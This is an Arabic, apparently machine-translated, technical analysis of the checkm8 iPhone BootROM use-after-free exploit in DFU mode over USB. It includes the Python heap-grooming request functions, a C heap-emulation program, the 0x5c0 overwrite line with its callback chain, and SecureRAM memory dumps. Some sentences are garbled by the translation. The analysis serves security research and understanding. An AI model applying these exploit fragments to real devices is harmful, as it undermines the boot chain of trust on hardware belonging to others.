مع احتمال كبير كنت قد سمعت بالفعل عن استغلال checkm8 المثيرة ، والذي يستخدم ثغرة أمنية غير قابلة للاسترداد في BootROM
لمعظم iDevices ، بما في ذلك iPhone X
في هذه المقالة ، سوف نقدم تحليلًا تقنيًا للاستغلال وننظر في أسباب الضعف. أي شخص مهتم - مرحبا بكم تحت خفض!
يمكنك قراءة النسخة الإنجليزية من المقال هنا .
مقدمة
أولاً ، BootROM
بإيجاز عملية التمهيد iDevice ومعرفة المكان الذي يشغل فيه BootROM
(يمكن أيضًا تسميته SecureROM
) ولماذا هناك حاجة إليه. معلومات مفصلة تماما حول هذا هنا . يمكن تمثيل عملية التمهيد المبسطة على النحو التالي:

BootROM
هو أول شيء BootROM
المعالج عند تشغيل الجهاز. المهام الرئيسية لل BootROM
:
- تهيئة النظام الأساسي (إعداد سجلات النظام الأساسي اللازمة ، تهيئة
CPU
، وما إلى ذلك) - التحقق ونقل السيطرة إلى المرحلة التالية من التحميل
- يدعم
BootROM
تحليل الصور IMG3/IMG4
- لدى
BootROM
حق الوصول إلى مفتاح GID
لفك تشفير الصور - للتحقق من الصور ، يحتوي
BootROM
على مفتاح Apple
مضمن ، وهناك الوظائف اللازمة للعمل مع التشفير
- استرداد الجهاز إذا تعذر تنزيله (
Device Firmware Update
، DFU
)
BootROM
صغير جدًا ، ويمكن تسميته نسخة مجردة من iBoot
، حيث إنهما يشتركان في معظم كود النظام والمكتبة. ومع ذلك ، بخلاف iBoot
، لا يمكن تحديث BootROM
. يتم وضعها في الذاكرة الداخلية للقراءة فقط عند تصنيع الجهاز. BootROM
هو جذر الأجهزة من سلسلة الثقة التمهيد. يمكن أن تسمح الثغرات الأمنية فيه بالتحكم في عملية التنزيل الإضافية وتنفيذ التعليمات البرمجية غير الموقعة على الجهاز.

ظهور checkm8
تمت إضافة checkm8
استغلال إلى الأداة المساعدة ipwndfu بواسطة مؤلفها axi0mX في 27 سبتمبر 2019. ثم أعلن عن تحديث على حسابه على Twitter ، مصحوبًا بوصف للاستغلال ومعلومات إضافية. يمكنك أن تكتشف من الخيط أنه تم العثور على ثغرة use-after-free
في كود USB
من قبل المؤلف أثناء عملية نشر التصحيح iBoot
لـ iOS 12 beta
في صيف عام 2018. كما ذكرنا سابقًا ، BootROM
و iBoot
على الكثير من التعليمات البرمجية الشائعة ، بما في ذلك الكود الخاص بـ USB
، وهذا هو السبب في أن BootROM
عدم الحصانة هذه BootROM
أيضًا بـ BootROM
.
ويترتب على ذلك أيضًا من رمز الاستغلال استغلال الثغرة الأمنية في DFU
. هذا وضع يمكن من خلاله نقل صورة موقعة إلى الجهاز عبر USB
، وسيتم تنزيله لاحقًا. قد يكون هذا مطلوبًا ، على سبيل المثال ، لاستعادة الجهاز إذا لم ينجح التحديث.
في اليوم نفسه ، أبلغ littlelailo أنه عثر على مشكلة عدم الحصانة هذه في مارس ونشر وصفه في ملف apollo.txt . يتوافق الوصف مع ما يحدث في كود checkm8
، لكنه لا يوضح تفاصيل الاستغلال بشكل كامل. لذلك ، قررنا كتابة هذه المقالة ووصف جميع تفاصيل العملية حتى تنفيذ الحمولة النافعة في BootROM
شاملة.
لقد أجرينا تحليلًا للاستغلال استنادًا إلى المواد المذكورة مسبقًا ، بالإضافة إلى شفرة مصدر iBoot/SecureROM
تسربت في فبراير 2018. استخدمنا أيضًا البيانات التي تم الحصول عليها تجريبياً على جهاز الاختبار الخاص بنا - iPhone 7
( CPID:8010
). باستخدام checkm8
أزلنا مقالب SecureRAM
و SecureRAM
منه ، مما ساعدنا في التحليل.
المعرفة USB الأساسية
توجد مشكلة عدم الحصانة المكتشفة في رمز USB
، لذلك يلزم معرفة بعض هذه الواجهة. يمكنك قراءة المواصفات الكاملة هنا ، لكنها ضخمة جدًا. مادة ممتازة ، أكثر من كافية لمزيد من الفهم ، هي USB في NutShell . هنا نعطي فقط الأكثر ضرورة.
هناك أنواع مختلفة من نقل بيانات USB
. لا تستخدم DFU
سوى وضع Control Transfers
(يمكنك القراءة عنه هنا ). تتكون كل معاملة في هذا الوضع من ثلاث مراحل:
Setup Stage
- في هذه المرحلة ، يتم إرسال حزمة SETUP
، والتي تتكون من الحقول التالية:
bmRequestType
- يصف اتجاه ونوع ومتلقي الطلبbRequest
- يحدد الطلب الذي تم تقديمهwValue
، wIndex
- حسب الطلب ، يمكن تفسيرها بشكل مختلف- طول - طول البيانات المستلمة / المرسلة في
Data Stage
Data Stage
- مرحلة اختيارية يتم فيها نقل البيانات. بناءً على حزمة SETUP
من المرحلة السابقة ، قد يكون هذا هو إرسال البيانات من المضيف إلى الجهاز ( OUT
) أو العكس ( IN
). يتم إرسال البيانات في أجزاء صغيرة (في حالة Apple DFU
، يكون 0x40 بايت).
- عندما يريد المضيف نقل الدفعة التالية من البيانات ، يرسل رمز
OUT
، وبعد ذلك يتم إرسال البيانات نفسها. - عندما يكون المضيف جاهزًا لاستلام البيانات من الجهاز ، فإنه يرسل رمزًا
IN
، رداً على الجهاز الذي يقوم بإرسال البيانات إليه.
Status Stage
- Status Stage
النهائية التي يتم فيها الإبلاغ عن حالة المعاملة بالكامل.
- بالنسبة لطلبات
OUT
، يرسل المضيف رمز IN
، استجابةً للجهاز الذي يجب عليه إرسال حزمة بيانات ذات طول صفري. - بالنسبة لطلبات
IN
، يرسل المضيف رمز OUT
وحزمة بيانات ذات طول صفري.
يتم عرض استفسارات OUT
و IN
في الرسم البياني أدناه. لقد أزلنا عن قصد ACK
و NACK
وحزم المصافحة الأخرى من مخطط الوصف والتفاعل ، لأنها لا تلعب دورًا خاصًا في استغلال نفسها.

تحليل apollo.txt
بدأنا التحليل من خلال تحليل الثغرة الأمنية من وثيقة apollo.txt . يصف خوارزمية وضع DFU
:
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- عندما يبدأ usb في الحصول على صورة عبر dfu ، يسجل dfu واجهة للتعامل مع جميع الأوامر ويخصص مخزن مؤقت للإدخال والإخراج
- إذا قمت بإرسال البيانات إلى dfu ، تتم معالجة حزمة الإعداد بواسطة الكود الرئيسي الذي يستدعي رمز الواجهة
- يتحقق رمز الواجهة من أن طول الطول أقصر من طول مخزن الإدخال المؤقت المؤقت وإذا كان هذا هو الحال ، فإنه يتم تحديث مؤشر تم تمريره كوسيطة مع مؤشر إلى المخزن المؤقت لمخرج الإدخال
- ثم تقوم بإرجاع wLength وهو الطول الذي تريد استقباله في المخزن المؤقت
- يقوم الكود الرئيسي لـ usb بتحديث var عالمي بطوله ويستعد لاستلام حزم البيانات
- في حالة تلقي حزمة بيانات ، يتم كتابتها إلى المخزن المؤقت لمخرج الإدخال عبر المؤشر الذي تم تمريره كوسيطة ويتم استخدام متغير عمومي آخر لتتبع عدد البايتات التي تم استلامها بالفعل
- إذا تم استلام جميع البيانات ، يتم استدعاء رمز dfu المحدد مرة أخرى ، ثم يستمر في نسخ محتويات المخزن المؤقت لمخرج الإدخال إلى موقع الذاكرة من حيث يتم تمهيد الصورة لاحقًا
- بعد ذلك ، يقوم رمز USB بإعادة ضبط جميع المتغيرات ويمضي في معالجة الحزم الجديدة
- إذا تم إنهاء dfu ، يتم تحرير المخزن المؤقت لمخرج الإدخال وإذا فشل تحليل الصورة فيتم إعادة قراءة bootrom
أولاً ، قارنا الخطوات الموضحة iBoot
مصدر iBoot
. نظرًا SecureROM
لا يمكننا استخدام أجزاء من شفرة المصدر المسربة في المقالة ، فسوف نعرض الكود الكود الذي تم الحصول عليه عن طريق SecureROM
العكسي SecureROM
iPhone 7
الخاص بنا في IDA
. يمكنك بسهولة العثور على الكود المصدري لـ iBoot
والتنقل فيه.
عند تهيئة وضع DFU
، يتم تخصيص مخزن مؤقت IO
وتسجيل واجهة USB
لمعالجة الطلبات إلى DFU
:

عندما تصل حزمة طلب SETUP
إلى DFU
، يتم استدعاء معالج الواجهة المقابل. في حالة التنفيذ الناجح لطلب OUT
(على سبيل المثال ، عند نقل الصورة) ، يجب على المعالج إرجاع عنوان المخزن المؤقت IO
للمعاملة وحجم البيانات التي يتوقع تلقيها بواسطة المؤشر. في هذه الحالة ، يتم تخزين عنوان المخزن المؤقت وحجم البيانات المتوقعة في متغيرات عمومية.

يظهر معالج واجهة DFU
في لقطة الشاشة أدناه. إذا كان الطلب صحيحًا ، فسيتم إرجاع المؤشر بواسطة عنوان المخزن المؤقت IO
المخصص في مرحلة تهيئة DFU
وطول البيانات المتوقعة ، والتي يتم أخذها من حزمة SETUP
.

أثناء Data Stage
كل جزء من البيانات إلى المخزن المؤقت IO
، وبعد ذلك يتم IO
عنوان المخزن المؤقت IO
ويتم تحديث عداد البيانات المستلمة. بعد استلام جميع البيانات المتوقعة ، يتم استدعاء معالج بيانات الواجهة وإلغاء حالة النقل العام.

في معالج بيانات DFU
، يتم نقل البيانات المستلمة إلى منطقة الذاكرة التي سيستمر التنزيل منها. اذا حكمنا من خلال كود مصدر iBoot
، تسمى منطقة الذاكرة في Apple
INSECURE_MEMORY
.

عند الخروج من وضع DFU
، سيتم تحرير المخزن المؤقت IO
المخصص مسبقًا. إذا تم استلام الصورة بنجاح في وضع DFU
، فسيتم فحصها وتحميلها. إذا حدث خطأ أثناء تشغيل وضع DFU
أو كان من المستحيل تحميل الصورة الناتجة ، فسيتم إعادة تهيئة وحدة DFU
وسيبدأ كل شيء من جديد.
في الخوارزمية الموضحة تكمن ثغرة use-after-free
. في حالة التمهيد ، أرسل حزمة SETUP
وأكمل المعاملة بتخطي " Data Stage
، وستبقى الحالة العامة قيد التهيئة عند إعادة الدخول إلى دورة DFU
، وسنكون قادرين على الكتابة إلى عنوان المخزن المؤقت IO
المخصص في تكرار DFU
السابق.
بعد أن تعاملنا مع مشكلة عدم use-after-free
، تساءلنا: كيف يمكنني الكتابة فوق شيء خلال التكرار التالي من DFU
؟ بعد كل شيء ، قبل إعادة تهيئة وحدة DFU
يتم تحرير جميع الموارد المخصصة مسبقًا ، وينبغي أن يكون موقع الذاكرة في التكرار الجديد هو نفسه تمامًا. لقد تبيّن أن هناك خطأ آخر في تسريب الذاكرة مثير للاهتمام وجمال ، يتيح استغلال ثغرة use-after-free
، والتي سنناقشها لاحقًا.
Checkm8 التحليل
ننتقل مباشرة إلى تحليل checkm8
استغلال. للبساطة ، سنقوم بتحليل نسخة معدلة من استغلال لجهاز iPhone 7
، حيث تمت إزالة الكود المرتبط بالمنصات الأخرى ، وتم تغيير تسلسل وأنواع طلبات USB
دون فقدان الاستغلال. أيضًا في هذا الإصدار ، تتم إزالة عملية إنشاء الحمولة ، ويمكن العثور عليها في ملف checkm8.py
الأصلي. يجب ألا يكون فهم الاختلافات بين إصدارات الأجهزة الأخرى أمرًا صعبًا.
يمكن تقسيم عمل checkm8
إلى عدة مراحل:
- إعداد كومة (
heap feng-shui
) - تخصيص وإصدار
IO
المخزن المؤقت دون مسح الحالة العالمية - الكتابة فوق
usb_device_io_request
على الكومة مع use-after-free
- وضع الحمولة
- تنفيذ
callback-chain
- تنفيذ
shellcode
النظر في كل مرحلة من المراحل بالتفصيل.
1. إعداد كومة (كومة فنغ شوي)
يبدو لنا أن هذه هي المرحلة الأكثر إثارة للاهتمام ، وقد أولينا اهتمامًا خاصًا بها.
stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device)
هذه الخطوة ضرورية لتحقيق حالة كومة مريحة للتشغيل use-after-free
. للبدء ، ضع في اعتبارك stall
، leak
، no_leak
:
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer
عبارة عن مجمّع عبر device.ctrlTransfer
مع تجاهل أي استثناءات حدثت أثناء تنفيذ الطلب. libusb1_async_ctrl_transfer
- التفاف على دالة libusb
من libusb
لتنفيذ الاستعلام غير المتزامن.
كلا المكالمات قبول المعلمات التالية:
- مثيل الجهاز
- بيانات حزمة
SETUP
(وصفها هنا ):
bmRequestType
bRequest
wValue
wIndex
- حجم البيانات (
wLength
) أو Data Stage
- طلب مهلة
تعد الوسائط bmRequestType
و bRequest
و wValue
و wIndex
شائعة في جميع أنواع الاستعلامات الثلاثة. يقصدون:
bmRequestType = 0x80
0b1XXXXXXX
- اتجاه Data Stage
من الجهاز إلى المضيف (الجهاز إلى المضيف)0bX00XXXXX
- نوع الطلب القياسي0bXXX00000
- جهاز استقبال الطلب - الجهاز
bRequest = 6
- طلب واصف ( GET_DESCRIPTOR
)wValue = 0x304
wValueHigh = 0x3
- يحدد نوع الواصف المراد استلامه - السلسلة ( USB_DT_STRING
)wValueLow = 0x4
هو فهرس واصف السلسلة ، 4 يتوافق مع الرقم التسلسلي للجهاز (في هذه الحالة ، تبدو السلسلة مثل CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33]
)
wIndex = 0x40A
- معرف لغة السلسلة ، قيمتها ليست مهمة للتشغيل ويمكن تغييرها.
لأي من هذه الطلبات الثلاثة ، يتم تخصيص 0x30 بايت على كومة الذاكرة المؤقتة لكائن البنية التالية:

الحقول الأكثر إثارة لهذا الكائن هي callback
next
.
callback
- مؤشر إلى دالة سيتم استدعاؤها عند اكتمال الطلب.next
- مؤشر إلى الكائن التالي من نفس النوع ، وهو ضروري لطلبات قائمة الانتظار.
تتمثل الميزة الرئيسية لاستدعاء stall
في استخدام التنفيذ غير المتزامن للطلب مع أقل مهلة. لهذا السبب ، إذا كنت محظوظًا ، فسيتم إلغاء الطلب على مستوى نظام التشغيل وسيظل في قائمة انتظار التنفيذ ، ولن يتم إكمال المعاملة. في نفس الوقت ، سيستمر الجهاز في قبول جميع حزم SETUP
الواردة ، وإذا لزم الأمر ، وضعها في قائمة انتظار التنفيذ. في وقت لاحق ، باستخدام تجارب مع USB
على Arduino
تمكنا من اكتشاف أنه من أجل التشغيل الناجح ، يجب على المضيف إرسال حزمة SETUP
ورمز IN
، وبعد ذلك يجب إلغاء المعاملة بحلول مهلة. بشكل تخطيطي ، يمكن تمثيل هذه المعاملة غير المكتملة كما يلي:
بقية الطلبات تختلف فقط في الطول وفقط واحد. الحقيقة هي أنه بالنسبة للاستعلامات القياسية ، يوجد callback
اتصال قياسي يشبه هذا:

قيمة io_length
تساوي الحد الأدنى wLength
في حزمة SETUP
للطلب والطول الأصلي wLength
المطلوب. نظرًا لحقيقة أن الواصف طويل بما فيه الكفاية ، يمكننا التحكم بدقة في قيمة الطول io_length
ضمن طوله. قيمة g_setup_request.wLength
تساوي قيمة wLength
لحزمة SETUP
الأخيرة ، في هذه الحالة ، 0xC1
.
وبالتالي ، عند الانتهاء من الاستعلامات التي تم إنشاؤها باستخدام stall
leak
المكالمات ، يتم استيفاء الشرط في وظيفة callback
النهائية ، ويتم usb_core_send_zlp()
. تقوم هذه المكالمة ببساطة بإنشاء zero-length-packet
إلى قائمة انتظار التنفيذ. يعد ذلك ضروريًا لإكمال المعاملة بشكل صحيح في Status Stage
.
ينتهي الطلب بمكالمة إلى وظيفة usb_core_complete_endpoint_io
، والتي تستدعي أولاً callback
ثم تحرر ذاكرة الطلب. في هذه الحالة ، يمكن أن يحدث إكمال الطلب ليس فقط عند اكتمال المعاملة بالكامل بالفعل ، ولكن أيضًا عند إعادة تعيين USB
. بمجرد تلقي إشارة إعادة تعيين USB
، سيتم تجاوز قائمة انتظار الطلب وسيتم إكمال كل منها.
نظرًا usb_core_send_zlp()
الانتقائي إلى usb_core_send_zlp()
، وتجاوز قائمة انتظار الطلب ثم usb_core_send_zlp()
، يمكنك تحقيق تحكم كومة كافٍ use-after-free
. أولاً ، دعونا نلقي نظرة على دورة الإصدار نفسها:

يتم مسح قائمة انتظار الطلب أولاً ، ثم يتم usb_core_complete_endpoint_io
إلى الطلبات الملغاة ، ويتم إكمالها عن طريق الاتصال بـ usb_core_complete_endpoint_io
. في الوقت نفسه ، يتم وضع الطلبات المحددة باستخدام usb_core_send_zlp
في ep->io_head
. بعد اكتمال إجراء إعادة تعيين USB
إعادة تعيين جميع المعلومات حول نقطة النهاية ، بما في ذلك io_tail
و io_tail
، وستظل الطلبات ذات الطول الصفري على الكومة. حتى تتمكن من إنشاء جزء صغير في منتصف بقية الكومة. يوضح الرسم البياني أدناه كيف يحدث هذا:

تم تصميم كومة الذاكرة المؤقتة في SecureROM
بحيث يتم تخصيص مساحة جديدة من الذاكرة من قطعة حرة مناسبة من أصغر حجم. بإنشاء جزء صغير مجاني حسب الطريقة الموضحة أعلاه ، يمكنك التأثير على تخصيص الذاكرة أثناء تهيئة USB
وتخصيص io_buffer
والطلبات.
لفهم أفضل ، دعنا نتعرف على طلبات الكومة التي تحدث أثناء تهيئة DFU
. أثناء تحليل شفرة مصدر iBoot
والهندسة العكسية لـ iBoot
SecureROM
تمكنا من الحصول على التسلسل التالي:
- تخصيص مختلف واصفات السلسلة
- 1.1.
Nonce
(الحجم 234
) - 1.2.
Manufacturer
( 22
) - 1.3.
Product
( 62
) - 1.4.
Serial Number
( 198
) - 1.5.
Configuration string
( 62
)
- تخصيص يرتبط مع إنشاء مهمة
USB
- 2.1. هيكل المهمة (
0x3c0
) - 2.2. مهمة المكدس (
0x1000
)
io_buffer
( 0x800
)
- واصفات التكوين
- 4.1.
High-Speed
( 25
) - 4.2.
Full-Speed
( 25
)
ثم هناك تخصيص هياكل الطلب. إذا كان هناك جزء صغير في منتصف مساحة الكومة ، usb_device_io_request
بعض التخصيصات من الفئة الأولى إلى هذه القطعة ، usb_device_io_request
جميع التخصيصات الأخرى ، نظرًا usb_device_io_request
يمكننا تجاوز usb_device_io_request
، في إشارة إلى المخزن المؤقت القديم. من الناحية التخطيطية ، يمكن تمثيل ذلك على النحو التالي:

لحساب التحيز الضروري ، قررنا ببساطة محاكاة التخصيصات المذكورة أعلاه ، مع تكييف شفرة مصدر كومة iBoot
.
DFU كومة مضاهاة #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; }
إخراج البرنامج مع 8 طلبات في مرحلة heap feng-shui
:
chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540
سيكون usb_device_io_request
التالي في الإزاحة 0x5c0
من بداية المخزن المؤقت السابق ، والذي يتوافق مع رمز الاستغلال:
t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
, SecureRAM
, checkm8
. , . , usb_device_io_request
, .
. , .
SecureRAM chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 